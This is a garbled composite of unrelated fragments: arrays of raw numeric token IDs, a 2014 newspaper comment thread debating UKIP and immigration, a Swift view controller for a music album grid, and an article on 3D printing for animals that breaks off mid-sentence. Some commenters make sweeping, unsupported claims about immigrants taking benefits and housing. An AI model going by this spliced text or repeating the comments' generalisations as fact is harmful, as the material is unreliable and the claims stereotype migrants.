891, 369, 5015, 670, 2419, 7911, 15, 309, 1620, 5393, 2675, 8039, 15, 309, 5194, 13, 352, 310, 8664, 604, 16618, 403, 1146, 24981, 6386, 273, 1980, 952, 15, 187, 187, 42, 2868, 436, 310, 581, 273, 253, 2022, 1921, 2112, 342, 247, 1643, 2571, 13, 326, 5591, 3123, 556, 331, 30487, 327, 458, 1825, 285, 14493, 275, 253, 1390, 1643, 1107, 15, 891, 476, 2096, 2139, 952, 1978, 15950, 253, 346, 51, 317, 382, 3, 43387, 387, 5591, 3123, 671, 13, 752, 891, 513, 417, 2096, 310, 2139, 310, 352, 594, 3430, 285, 33005, 382, 281, 513, 253, 1563, 27, 3523, 4293, 356, 9231, 3551, 281, 436, 2586, 665, 513, 417, 8162, 281, 776, 6982, 13, 3523, 4933, 1133, 20823, 281, 16618, 665, 513, 2717, 13, 3523, 10054, 323, 2853, 304, 267, 16618, 281, 1110, 665, 403, 2918, 275, 13555, 323, 752, 3133, 751, 1107, 13, 604, 597, 403, 417, 344, 254, 17734, 13, 990, 273, 13, 337, 296, 9735, 16, 13568, 896, 285, 1056, 289, 1321, 564, 20282, 2075, 253, 19021, 13, 3523, 8039, 4293, 356, 9231, 816, 984, 597, 403, 7429, 281, 320, 1060, 533, 513, 417, 8162, 13, 3523, 1053, 839, 25866, 273, 12511, 281, 4343, 672, 776, 1211, 6982, 310, 11741, 285, 3523, 10054, 285, 755, 562, 273, 14029, 1024, 13, 352, 310, 45964, 441, 9790, 5312, 342, 1652, 390, 642, 1091, 13, 14029, 588, 1335, 4489, 253, 1072, 10229, 604, 359, 497, 275, 390, 562, 273, 14029, 13, 9341, 588, 1900, 7703, 1318, 323, 2583, 3645, 4618, 13, 417, 816, 984, 359, 403, 275, 346, 18913, 3446, 733, 310, 5803, 33005, 382, 281, 971, 281, 452, 1453, 689, 776, 1211, 17241, 13, 285, 816, 984, 359, 1333, 752, 2571, 971, 281, 1333, 533, 403, 9202, 359, 403, 1925, 33005, 382, 15, 973, 891, 323, 581, 717, 10208, 598, 1146, 2183, 407, 14029, 752, 359, 476, 285, 16216, 513, 13, 776, 21806, 85, 310, 5508, 6134, 13, 776, 33417, 403, 5508, 6134, 285, 776, 5360, 447, 403, 21098, 18280, 13, 891, 7777, 1928, 7016, 323, 1110, 326, 3534, 289, 1321, 4852, 323, 776, 17241, 281, 923, 352, 13044, 1977, 15, 380, 6495, 556, 4783, 432, 9643, 13, 13944, 285, 15420, 7703, 801, 532, 423, 593, 13, 436, 310, 253, 673, 281, 1462, 2366, 390, 359, 588, 990, 598, 1146, 253, 5004, 273, 253, 19176, 275, 253, 1735, 5978, 15, 5591, 3123, 778, 417, 452, 512, 253, 743, 45823, 2568, 13, 533, 1110, 275, 1612, 1620, 574, 667, 2057, 13, 359, 452, 2489, 247, 295, 10059, 1375, 285, 247, 6279, 1375, 281, 14029, 13, 673, 281, 755, 562, 13, 359, 402, 40418, 728, 1078, 285, 359, 588, 11883, 969, 13, 2139, 13, 984, 359, 588, 417, 320, 39460, 281, 13, 28763, 849, 14848, 3053, 2391, 20340, 187, 187, 42, 812, 2649, 5194, 625, 13, 2520, 310, 253, 954, 24600, 14430, 326, 309, 452, 1239, 323, 1897, 327, 436, 2256, 15, 309, 16216, 2868, 326, 3780, 342, 667, 1846, 3282, 812, 320, 14004, 407, 18759, 293, 3981, 326, 344, 651, 8, 2649, 751, 247, 1387, 273, 1821, 4886, 275, 1735, 281, 779, 253, 760, 10551, 369, 326, 344, 753, 253, 3159, 45575, 13, 28763, 417, 752, 309, 1067, 22198, 13, 5092, 3780, 327, 841, 25278, 20509, 1333, 597, 651, 751, 247, 1387, 273, 1821, 4886, 1735, 3369, 281, 731, 13414, 2647, 835, 597, 1705, 432, 15, 12349, 352, 247, 22198, 7579, 432, 17419, 7233, 840, 672, 344, 753, 4782, 7375, 323, 4782, 952, 390, 436, 2208, 6276, 1475, 342, 6007, 19184, 3981, 564, 1728, 281, 16618, 32, 309, 9047, 253, 3492, 3063, 342, 253, 4572, 407, 27227, 19430, 285, 309, 1869, 326, 10351, 486, 15726, 352, 1077, 973, 387, 1878, 344, 9577, 253, 3533, 28763, 625, 685, 954, 643, 13557, 513, 309, 671, 1158, 326, 11915, 532, 403, 417, 3270, 28054, 387, 512, 347, 597, 651, 10112, 952, 689, 1060, 604, 597, 452, 253, 6936, 359, 878, 347, 6976, 323, 4227, 964, 187, 187, 60, 21049, 7082, 81, 7082, 12509, 62, 22492, 17869, 19, 32871, 12509, 62, 4159, 27, 187, 60, 21049, 7082, 81, 7082, 12509, 62, 18448, 29140, 32871, 12509, 62, 4159, 27, 187, 3299, 27, 604, 368, 1239, 619, 3302, 1501, 891, 753, 5742, 326, 891, 369, 5015, 670, 2419, 7911, 15, 309, 1620, 5393, 2675, 8039, 15, 309, 5194, 13, 352, 310, 8664, 604, 16618, 403, 1146, 24981, 6386, 273, 1980, 952, 4681, 16, 81, 7082, 16, 21049, 62, 42, 2868, 436, 310, 581, 273, 253, 2022, 1921, 2112, 342, 247, 1643, 2571, 13, 326, 5591, 3123, 556, 331, 30487, 327, 458, 1825, 285, 14493, 275, 253, 1390, 1643, 1107, 15, 891, 476, 2096, 2139, 952, 1978, 15950, 253, 346, 51, 317, 382, 3, 43387, 387, 5591, 3123, 671, 13, 752, 891, 513, 417, 2096, 310, 2139, 310, 352, 594, 3430, 285, 33005, 382, 281, 513, 253, 1563, 27, 3523, 4293, 356, 9231, 3551, 281, 436, 2586, 665, 513, 417, 8162, 281, 776 ]	the sake of your future VOTE UKIP THURSDAY. Now i wait for the flack. No flak from me, except to say that the house price argument is not borne out by the statistics. [quote][p][bold]cosmick[/bold] wrote: A few points to pick up on comments made before. The people who come to this country from the E/U under the free movement of labour and start there own companys/ self employment are not as good as the figures lead you to think, as they are entitled to in work benefits if the money the earn will not cover cost of living /rent ect. So the get handouts! If they work self employed and have a family here they are entitled to be on the social house list and that means points means houses or acommadation. Maybe private rented with a handout from the taxpayer. This will help private landlords buying up the houseing stock, which will push up prices of homes. Kids schooling maybe they dont talk ENGLISH. This means your kids suffer more because less teacher time. You may think this will not be a worry to you, BUT if you are working for a living with a family it will. If you are on benefits it will. Some areas of this country have been destroyed by open immigration dont for one second think it wont happen in DORSET it will. The area and lives will be changed and there will be no going back. For your own sake and the sake of your future VOTE UKIP THURSDAY. Now i wait for the flack.[/p][/quote]No flak from me, except to say that the house price argument is not borne out by the statistics.JamesYoung cosmick wrote… A few points to pick up on comments made before. The people who come to this country from the E/U under the free movement of labour and start there own companys/ self employment are not as good as the figures lead you to think, as they are entitled to in work benefits if the money the earn will not cover cost of living /rent ect. So the get handouts! If they work self employed and have a family here they are entitled to be on the social house list and that means points means houses or acommadation. Maybe private rented with a handout from the taxpayer. This will help private landlords buying up the houseing stock, which will push up prices of homes. Kids schooling maybe they dont talk ENGLISH. This means your kids suffer more because less teacher time. You may think this will not be a worry to you, BUT if you are working for a living with a family it will. If you are on benefits it will. Some areas of this country have been destroyed by open immigration dont for one second think it wont happen in DORSET it will. The area and lives will be changed and there will be no going back. For your own sake and the sake of your future VOTE UKIP THURSDAY. Now i wait for the flack. No flak from me, except to say that the house price argument is not borne out by the statistics. Score: 4 woodsedge says...7:26pm Mon 19 May 14 I really, really start to worry when rational people on here appear to accept that individuals right to freedom of speech, allows them to overstep the line and make statements that would not be acceptable in a face to face conversation. In fact I think the individuals that hide behind their keyboard spouting opinions that verge on hate, wouldn't say boo to a goose if the conversation wasn't on line. I am happy to debate and accept the name calling when there are different points of view, but I will not concede to some of the unsubstantiated garbage and the singling out of certain groups that happens when certain individuals can hide behind their keyboard. I will wait to be called mangina or pseudo leftist or the other vile spill that is used on here, and in closing I will be going away! I really, really start to worry when rational people on here appear to accept that individuals right to freedom of speech, allows them to overstep the line and make statements that would not be acceptable in a face to face conversation. In fact I think the individuals that hide behind their keyboard spouting opinions that verge on hate, wouldn't say boo to a goose if the conversation wasn't on line. I am happy to debate and accept the name calling when there are different points of view, but I will not concede to some of the unsubstantiated garbage and the singling out of certain groups that happens when certain individuals can hide behind their keyboard. I will wait to be called mangina or pseudo leftist or the other vile spill that is used on here, and in closing I will be going away!woodsedge I really, really start to worry when rational people on here appear to accept that individuals right to freedom of speech, allows them to overstep the line and make statements that would not be acceptable in a face to face conversation. In fact I think the individuals that hide behind their keyboard spouting opinions that verge on hate, wouldn't say boo to a goose if the conversation wasn't on line. I am happy to debate and accept the name calling when there are different points of view, but I will not concede to some of the unsubstantiated garbage and the singling out of certain groups that happens when certain individuals can hide behind their keyboard. I will wait to be called mangina or pseudo leftist or the other vile spill that is used on here, and in closing I will be going away! Score: -4 radiator says...9:26pm Mon 19 May 14 jjlad2 wrote… JamesYoung wrote… PS: if you read my initial post i said specifically that i was talking about house prices. I never mentioned social housing. I agree, it is concerning if immigrants are being housed ahead of local people. I believe this is one of the main reason along with a few others, that UKIP has strived on leaps and bounds in the last few years. i can understand why people keep throwing the "Racist" slogan at UKIP also, what i do not understand is why is it so wrong and Racist to do the following: stop immagrants coming to this country who do not contribute to our economy, stop giving hand outs to immigrants who do nothing, stop paying for illigal immigrants to those who are held in custody for what seems like years, if they are not heer legally, end of, 1st boat/plane back and make thier govt pay the fare, stop housing immagrants just because they are entitled to be here but do not contribute, stop donating billions of pounds to countries when our own economy is failing and stop paying and get out of Euro now, it is costing us millions daily with little or no return, Euro will still buy the same goods if we were in or out of Euro, businesses will always seek value for money World wide, not just because we are in "Europe". It is NOT Racist to want to have control over our own Country, and just because we say what others want to say but are afraid we are called Racist. well i for one am fed up being told by Euro what we can and cant do, our Govt is spineless, our Courts are spineless and our Armies are dessimated, i truly feel sorry for those that gave thier lives for our Country to see it thrown away. The Great has gone from Britain, Scotland and Wales seek indipendance, this is the time to stand together or we will end up being the bottom of the pile in the next generation. UKIP may not have all the Answers yet, but those in power never had any either, we have become a nanny state and a Yes state to Euro, time to get out, we suvivied before and we will survive again, why, because we will not be dictated to, thats how Wars started......... I couldnt agree more,this is the most sensible quote that I have read for days on this subject. I cant believe that anyone with any common sense could be upset by Nigel saying that he would'nt like a group of men moving in next to him the only mistake was that he said the word Romanian, thats not what I call racist,can anyone on these forums honestly say they would like a group of men moving next door to them dont matter where they come from. Was it a racist remark from Gordon Brown then when he said British jobs for British people or this government driving around with billboards saying go home to immigrants? I watched the video today with the interview by OBrien and I thought that Farage handled it very well at least he answered the questions thats more than most other politicians do I also think that Ukip are not anti immigrant at all as they would welcome people over here if they have the skills we need as Australia for instance. [quote][p][bold]jjlad2[/bold] wrote: [quote][p][bold]JamesYoung[/bold] wrote: PS: if you read my initial post i said specifically that i was talking about house prices. I never mentioned social housing. I agree, it is concerning if immigrants are being housed ahead of local people.[/p][/quote]I believe this is one of the main reason along with a few others, that UKIP has strived on leaps and bounds in the last few years. i can understand why people keep throwing the "Racist" slogan at UKIP also, what i do not understand is why is it so wrong and Racist to do the following: stop immagrants coming to this country who do not contribute to our
[ 530, 1042, 580, 5538, 8929, 23757, 551, 535, 50274, 33, 5472, 5677, 1059, 5075, 945, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 2, 187, 50274, 9486, 1339, 894, 2618, 426, 346, 25843, 10772, 3, 187, 50274, 9486, 945, 4236, 41296, 1163, 16865, 32, 187, 50274, 187, 50274, 9486, 945, 4236, 9270, 1163, 330, 46121, 32, 187, 50274, 9486, 945, 2840, 6504, 5906, 1163, 12047, 6504, 5906, 32, 187, 50274, 187, 50274, 9486, 945, 9575, 1163, 544, 41296, 62, 426, 544, 41296, 9, 435, 382, 27, 346, 44, 423, 4662, 16967, 274, 995, 4060, 27, 346, 8354, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 34681, 2807, 42678, 41296, 9, 435, 382, 27, 346, 32655, 20875, 36641, 995, 4060, 27, 346, 18552, 656, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 7553, 547, 2807, 42678, 16865, 9, 435, 382, 27, 346, 35, 16249, 3964, 11933, 995, 4060, 27, 346, 43, 4037, 30424, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 22354, 2807, 42678, 16865, 9, 435, 382, 27, 346, 7722, 444, 74, 384, 995, 4060, 27, 346, 35012, 6975, 831, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 8535, 2807, 42678, 16865, 9, 435, 382, 27, 346, 53, 19482, 253, 40325, 995, 4060, 27, 346, 23375, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 33179, 2807, 42678, 16865, 9, 435, 382, 27, 346, 45112, 14, 59, 995, 4060, 27, 346, 21, 27, 2031, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 12496, 2807, 42678, 16865, 9, 435, 382, 27, 346, 13117, 2653, 378, 2960, 1890, 995, 4060, 27, 346, 51, 9466, 2925, 27413, 378, 2925, 58, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 14367, 515, 2807, 42678, 16865, 9, 435, 382, 27, 346, 3251, 266, 16040, 995, 4060, 27, 346, 3351, 468, 784, 36533, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 303, 468, 784, 2807, 42678, 16865, 9, 435, 382, 27, 346, 48, 1678, 885, 70, 995, 4060, 27, 346, 26521, 352, 896, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 547, 6121, 2807, 42678, 16865, 9, 435, 382, 27, 346, 43, 15, 42, 15, 37, 995, 4060, 27, 346, 15751, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 7594, 2807, 2, 9102, 187, 50274, 187, 50274, 37488, 11632, 1859, 8917, 9624, 1082, 551, 187, 50270, 12185, 15, 1374, 8917, 9624, 1082, 187, 50270, 1286, 15, 37336, 8929, 29006, 43663, 426, 1881, 187, 50270, 84, 23750, 15, 9691, 9, 28662, 4527, 27, 9575, 559, 9575, 559, 9575, 10, 187, 50270, 37632, 16687, 3145, 1082, 187, 50274, 94, 535, 50274, 9486, 11632, 40852, 16687, 3145, 14574, 187, 50270, 1286, 15, 25318, 3145, 15, 2203, 7781, 426, 1881, 187, 50270, 1286, 15, 25318, 3145, 15, 43663, 426, 1881, 187, 50270, 1286, 15, 25318, 3145, 15, 15905, 9, 54, 1042, 487, 15, 4478, 9, 79, 487, 2402, 27, 346, 41296, 10772, 995, 13204, 27, 48284, 15, 7265, 582, 323, 10772, 3378, 1785, 2327, 18483, 27, 894, 2618, 10, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 1180, 4527, 16379, 688, 12612, 2593, 27, 4458, 10, 5204, 4458, 551, 187, 50270, 2309, 9575, 15, 5560, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 894, 2214, 5475, 3404, 3605, 5455, 27, 13193, 5455, 10, 5204, 530, 1864, 311, 1788, 3145, 10772, 551, 187, 50270, 1059, 894, 1163, 16865, 10772, 426, 1881, 15, 25318, 3145, 15, 615, 14487, 1785, 34153, 10772, 9, 3113, 1785, 2327, 18483, 27, 894, 2618, 13, 323, 27, 3605, 5455, 10, 347, 2, 16865, 10772, 187, 50270, 3992, 15, 38664, 3378, 9, 32429, 27, 9575, 60, 4663, 5455, 15, 736, 3291, 187, 50270, 2309, 894, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 12806, 4849, 3145, 9683, 27, 530, 1864, 311, 1788, 3145, 9683, 13, 1979, 2214, 5475, 3404, 3605, 5455, 27, 13193, 5455, 10, 5204, 16944, 5496, 551, 187, 50270, 2309, 16944, 5496, 9, 3429, 27, 1881, 15, 25318, 3145, 15, 6301, 15, 3429, 1227, 495, 13, 4898, 27, 1881, 15, 25318, 3145, 15, 6301, 15, 3429, 1227, 495, 10, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 858, 10004, 5475, 3404, 3605, 5455, 27, 13193, 5455, 10, 551, 187, 50270, 1286, 15, 16191, 41296, 426, 9575, 60, 4663, 5455, 15, 736, 62, 187, 50270, 1059, 253, 23372, 27, 45717, 311, 1788, 3145, 9683, 23372, 2, 426, 4849, 3145, 15, 7916, 23372, 2214, 5475, 9, 255, 27, 3605, 5455, 10, 187, 50270, 16191, 9270, 426, 4849, 3145, 15, 28985, 9, 783, 23372, 15, 6301, 13, 281, 27, 4849, 3145, 15, 12185, 1374, 10, 187, 50270, 1286, 15, 32231, 23083, 489, 9, 3113, 18483, 27, 346, 19998, 995, 22647, 27, 1881, 10, 187, 50274, 94, 187, 50274, 187, 50274, 37488, 11632, 10347, 9, 1542, 8753, 489, 27, 12693, 29569, 4697, 23083, 489, 13, 22647, 27, 6101, 14677, 551, 187, 50270, 338, 313, 339, 25070, 15, 31668, 2295, 346, 19998, 2807, 551, 187, 50266, 1059, 4760, 55, 68, 426, 8753, 489, 15, 41011, 347, 2, 11412, 19998, 20775, 187, 50266, 15381, 55, 68, 15, 32429, 426, 1881, 15, 16191, 41296, 187, 50270, 94, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 15034, 8929, 10107, 15034, 8929, 27, 530, 1042, 580, 5538, 8929, 13, 5016, 8929, 2214, 16904, 8929, 27, 12693, 20775, 1145, 18280, 39512, 272, 10, 5204, 12693, 20775, 6504, 4507, 39512, 272, 32, 551, 187, 50270, 18625, 1339, 16399, 426, 2840, 6504, 5906, 2010, 551, 1091, 5296, 748, 187, 50270, 2309, 16399, 15, 25974, 688, 25155, 3736, 2840, 6504, 5906, 1163, 5296, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 15034, 8929, 10107, 15034, 8929, 27, 530, 1042, 580, 5538, 8929, 13, 16904, 8929, 2214, 4254, 27, 530, 1042, 580, 5538, 8929, 17547, 13, 432, 432, 12548, 27, 12693, 20775, 13, 281, 281, 12548, 27, 12693, 20775, 10, 5204, 12693, 20775, 1145, 18280, 39512, 272, 32, 551, 187, 50270, 18625, 1339, 3665, 426, 1881, 15, 16191, 9270, 2010, 551, 1091, 5296, 748, 187, 50270, 18625, 1339, 4498, 426, 1881, 15, 16191, 41296, 2010, 551, 1091, 5296, 748, 187, 50270, 187, 50270, 16065, 4254, 551, 187, 50270, 5045, 964, 11340, 27, 187, 50266, 13994, 6504, 5906, 426, 12047, 6504, 5906, 9, 38729, 1992, 27, 281, 12548, 10, 187, 50266, 2309, 12047, 40387, 1080, 9, 27076, 27, 6865, 27068, 9, 54, 1042, 580, 5538, 8929, 29834, 14422, 7912, 24921, 582, 310, 25582, 272, 27, 2032, 13, 6510, 9270, 27, 3665, 13, 2460, 27, 4498, 15, 435, 1601, 10, 187, 50270, 6986, 27, 187, 50266, 2309, 12047, 40387, 1080, 9, 27076, 27, 6865, 27068, 9, 54, 1042, 580, 5538, 8929, 29834, 14422, 7912, 24921, 582, 310, 25582, 272, 27, 3221, 13, 6510, 9270, 27, 3665, 13, 2460, 27, 4498, 15, 435, 1601, 10, 187, 50270, 94, 187, 50274, 94, 187, 94, 535, 21164, 459, 1176, 4371, 84, 27, 884, 49039, 495, 37, 18312, 272, 7518, 9357, 29301, 831, 10519, 187, 187, 23631, 14528, 247, 1175, 5893, 2926, 13, 285, 253, 495, 37, 11993, 1533, 556, 9828, 273, 731, 15, 4325, 5893, 17248, 30832, 281, 27067, 281, 1014, 35121, 8385, 323, 29015, 13, 495, 37, 11993, 556, 6518, 5074, 816, 347, 1199, 347, 352, 556, 6518, 952, 15, 3856, 403, 884, 273, 253, 1462, 483, 6281, 432, 436, 807, 670, 849, 495, 37, 11993, 556, 6518, 776, 5893, 3858, 281, 3153, 616, 1682, 4852, 15, 187, 187, 37, 14175, 13, 40938, 13, 40938, 187, 187, 6080, 273, 253, 954, 10879, 6281, 359, 4089, 403, 670, 9097, 13, 285, 326, 457, 84, 642, 9326, 13, 984, 952, 2389, 616, 9097, 347, 2758, 273, 616, 5870, 285, 403, 7378, 281, 513, 2712, 323, 731, 15, 2064, 457, 84, 2139, 247, 38091, 4907, 378, 32754, 7402, 598, 17362, 247, 2570, 5869, 281, 8706, 521, 1791, 13, 534, 574, 644, 47779, 672, 344, 369, 1077, 2872, 15, 329, 495, 37, 11462, 1566, 273, 378, 32754, 457, 84, 1791, 6518, 10887, 249, 19222, 281, 2098, 562, 521, 5869, 6386, 273, 673, 13, 4795, 275, 271, 4254, 326, 369, 4122, 5547, 835, 2045, 4394, 574, 4242, 15, 16257, 13, 271, 9943, 703, 29359, 4907, 34070, 369, 5686, 5816, 2067, 273, 253, 14910, 275, 581, 273, 521, 4669, 13, 2403, 352, 2834, 285, 16592, 323, 779, 281, 2940, 15, 3032, 7302, 18203, 247, 1980, 9835, 457, 84, 495, 37, 11993, 5453, 13, 534, 495, 37, 11462, 779, 247, 48199, 44802, 594, 326, 344, 812, 1462, 285, 2940, 625, 35766, 15, 187, 187, 34, 277, 607, 1200, 1504, 4907, 2790, 2706, 3715, 247, 4502, 275, 617, 1481, 285, 369, 10268, 247, 9542, 13, 19983, 5869, 1108, 1919, 10887, 249, 19222, 4425, 281, 1611, 271, 5795, 15, 329, 30327, 19567, 1729, 369, 4158, 285, 495, 37, 11462, 275, 247, 2647, 273, 3618, 13, 285, 275, 247, 9205, 5199, 13, 253, 4502, 369, 5176, 13, 2112, 342, 253, 5876, 629, 273, 253, 4370, 457, 84, 19567, 15, 380, 19567, 369, 7932, 407, 253, 495, 37, 11462, 30327, 19567, 1729, 13, 285, 2790, 2706, 369, 2104, 281, 9295, 4541, 15, 187, 187, 2214, 253, 43328, 187, 187, 6432, 317, 4121, 476, 3153, 598, 281, 2030, 1107, 13, 594, 2790, 2706, 253, 759, 317, 825, 1335, 574, 247, 1048, 1495, 6386, 273, 779, 672, 344, 3663, 521, 3174, 281, 34724, 67, 614, 1108, 533, 1293, 1361, 13, 344, 2779, 651, 452, 281, 320, 1691, 1066, 15, 496, 271, 1650, 273, 253, 1612, 273, 253, 7336, 13, 2790, 2706, 457, 7302, 9269, 247, 15167, 3492, 7004, 323, 1361, 15, 380, 3492, 369, 2326, 407, 247, 30710, 665, 9269, 253, 759, 317, 825, 457, 84, 2926, 327, 39714, 13, 840, 1119, 247, 1566, 273, 247, 48199, 12621, 3174, 285, 574, 352, 495, 37, 11462, 285, 24610, 281, 2790, 2706, 457, 2021, 15, 187, 187, 43, 552, 253, 17081, 38584, 3715, 247, 9370, 275, 521, 6483, 1452, 13, 534, 310, 253, 26358, 3022, 2605, 327, 1755, 273, 521, 6007, 15, 329, 10887, 249, 6656, 5783, 326, 253, 9370, 369, 4269, 407, 2923, 13, 285, 651, 2430, 5869, 15, 329, 9205, 2285, 369, 2104, 281, 5386, 253, 2923, 13, 533, 326, 671, 3206, 11922, 247, 1781, 629, 273, 253, 12621, 457, 84, 6483, 1452, 15, 754, 588, 810, 736, 247, 747, 6483, 1452, 6524, 13, 533, 1919, 344, 1057, 13, 500, 552, 556, 247, 5322, 747, 495, 37, 11462, 6483, 1452, 534, 344, 1014, 17713, 264, 8862, 342, 521, 1211, 8105, 34099, 15, 187, 187, 15413, 266, 611, 478, 300, 273, 14307, 310, 1929, 347, 773, 783, 1495, 1234, 10723, 83, 1806, 347, 344, 10513, 17248, 30832, 285, 2940, 398, 323, 11062, 5074, 323, 1959, 15, 2091, 247, 1429, 3982, 271, 11062, 42484, 281, 779, 13, 611, 478, 300, 908, 495, 37, 11993, 281, 2794, 247, 48199, 3174, 13, 15706, 253, 43390, 326, 253, 12621, 574, 3663, 15, 2726, 629, 273, 697, 3174, 5816, 13, 253, 42484, 369, 7591, 281, 1379, 745, 285, 8778, 13, 533, 253, 495, 37, 11462, 48199, 4136, 352, 281, 1091, 281, 253, 8467, 15, 187, 187, 45953, 2811, 275, 253, 18630, 11491, 187, 187, 37, 34076, 285, 8969, 403, 767, 9810, 80, 3013, 273, 37078, 1027, 9552, 533, 342, 581, 2181, 275, 1846, 1108, 597, 1097, 9606, 432, 13572, 24383, 15, 39437, 369, 10903, 407, 247, 1113, 13, 1223, 8969, 369, 11062, 407, 271, 27662, 14338, 38091, 15, 6295, 273, 253, 9810, 80, 3013, 574, 253, 13572, 4243, 273, 616, 24383, 7932, 342, 495, 37, 11462, 7437, 15, 6295, 497, 2104, 281, 9295, 23395, 1108, 285, 1014, 3395, 3858, 13, 347, 1199, 347, 9810, 80, 3013, 513, 15, 187, 187, 44, 26206, 518, 253, 1499, 837, 369, 1907, 16138, 19408, 15, 743, 745, 14, 1178, 21065, 285, 31172, 9970, 1160, 352, 2834, 323, 779, 281, 6008, 13, 347, 344, 812, 417, 2810, 521, 6208, 6283, 15, 329, 2285, 273, 43248, 13, 16138, 285, 3739, 12440, 908, 7403, 13733, 13, 495, 37, 14053, 285, 495, 37, 11993, 281, 2794, 247, 3520, 1566, 273, 253, 1499, 837, 457, 84, 21065, 13, 534, 369, 908, 281, 2098, 247, 15205, 5141, 5869, 15, 187, 187, 1147, 457, 84, 417, 760, 17248, 30832, 13, 27067, 285, 3739, 3210, 326, 452, 644 ]	UINavigationControllerDelegate { @IBOutlet weak var collectionView: UICollectionView! private let cellId = "MusicCell" private var selectedSong : Song? private var selectedFrame : CGRect? private var customInteractor : CustomInteractor? private var songs : [Song] = [Song(artist: "Kendrick Lamar", title: "DNA", artwork: UIImage(named: "damn")!),Song(artist: "Freddie Gibbs", title: "Alexys", artwork: UIImage(named: "twice")!), Song(artist: "Brockhampton", title: "JUNKY", artwork: UIImage(named: "sat")!), Song(artist: "MC Eiht", title: "Represent Like This", artwork: UIImage(named: "west")!), Song(artist: "Tyler the Creator", title: "November", artwork: UIImage(named: "flower")!), Song(artist: "Jay-Z", title: "4:44", artwork: UIImage(named: "four")!), Song(artist: "Joey Bada$$", title: "ROCKABYE BABY", artwork: UIImage(named: "badass")!), Song(artist: "Sean Price", title: "Imperious Rex", artwork: UIImage(named: "imperious")!), Song(artist: "Oddisee", title: "Hold it back", artwork: UIImage(named: "iceburg")!), Song(artist: "J.I.D", title: "Never", artwork: UIImage(named: "never")!)] override func viewDidLoad() { super.viewDidLoad() self.navigationController?.delegate = self songs.append(contentsOf: songs + songs + songs) SetupCollectionView() } private func SetupCollectionView(){ self.collectionView.dataSource = self self.collectionView.delegate = self self.collectionView.register(UINib.init(nibName: "SongCell", bundle: Bundle.main), forCellWithReuseIdentifier: cellId) } func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { return songs.count } func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell { let cell : SongCell = self.collectionView.dequeueReusableCell(withReuseIdentifier: cellId, for: indexPath) as! SongCell cell.refreshWith(song: songs[indexPath.row]) return cell } func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize { return CGSize(width: self.collectionView.frame.width / 3, height: self.collectionView.frame.width / 3) } func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { self.selectedSong = songs[indexPath.row] let theAttributes:UICollectionViewLayoutAttributes! = collectionView.layoutAttributesForItem(at: indexPath) selectedFrame = collectionView.convert(theAttributes.frame, to: collectionView.superview) self.performSegue(withIdentifier: "Player", sender: self) } override func prepare(for segue: UIStoryboardSegue, sender: Any?) { if (segue.identifier == "Player") { let playerVc = segue.destination as! MusicPlayerViewController playerVc.song = self.selectedSong } } func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { guard let ci = customInteractor else { return nil } return ci.transitionInProgress? customInteractor : nil } func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationControllerOperation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { guard let frame = self.selectedFrame else { return nil } guard let song = self.selectedSong else { return nil } switch operation { case.push: customInteractor = CustomInteractor(attachTo: toVC) return CustomAnimator(duration: TimeInterval(UINavigationControllerHideShowBarDuration), isPresenting: true, originFrame: frame, image: song.artwork) default: return CustomAnimator(duration: TimeInterval(UINavigationControllerHideShowBarDuration), isPresenting: false, originFrame: frame, image: song.artwork) } } } Creature Comforts: 10 Ways 3D Printing Helped Animals This Year Everyone loves a good animal story, and the 3D printing world has plenty of them. From animal prosthetics to implants to even robotic assistance for bees, 3D printing has helped animals just as much as it has helped people. Here are 10 of the standout stories from this year about how 3D printing has helped our animal friends to live their best lives. Dogs, Dogs, Dogs Some of the most frequent stories we hear are about dogs, and that’s no surprise, because people love their dogs as members of their families and are willing to do anything for them. That’s why a puppy named Bento ended up undergoing a complex surgery to repair his leg, which had been fractured when he was very young. A 3D printed model of Bento’s leg helped veterinarians to plan out his surgery ahead of time, resulting in an operation that was highly successful where previous ones had failed. Meanwhile, an Australian shepherd named Tucker was born missing several of the bones in one of his feet, making it difficult and painful for him to walk. His owner contacted a local university’s 3D printing club, which 3D printed him a prosthetic paw so that he could stand and walk more comfortably. A dachshund named Patches developed a tumor in her head and was facing a complicated, costly surgery – until veterinarians decided to try an alternative. A titanium skull cap was designed and 3D printed in a matter of weeks, and in a surgical procedure, the tumor was removed, along with the affected part of the dog’s skull. The skull was replaced by the 3D printed titanium skull cap, and Patches was able to recover quickly. For the Birds Peacocks can live up to 25 years, so Patches the peacock still had a long life ahead of him when he lost his foot to frostbite – but without help, he likely would have to be put down. In an example of the power of the Internet, Patches’ owner posted a YouTube video asking for help. The video was seen by a subscriber who posted the peacock’s story on Reddit, then found a model of a prosthetic bird foot and had it 3D printed and shipped to Patches’ family. Jary the hornbill developed a crack in his casque, which is the helmetlike 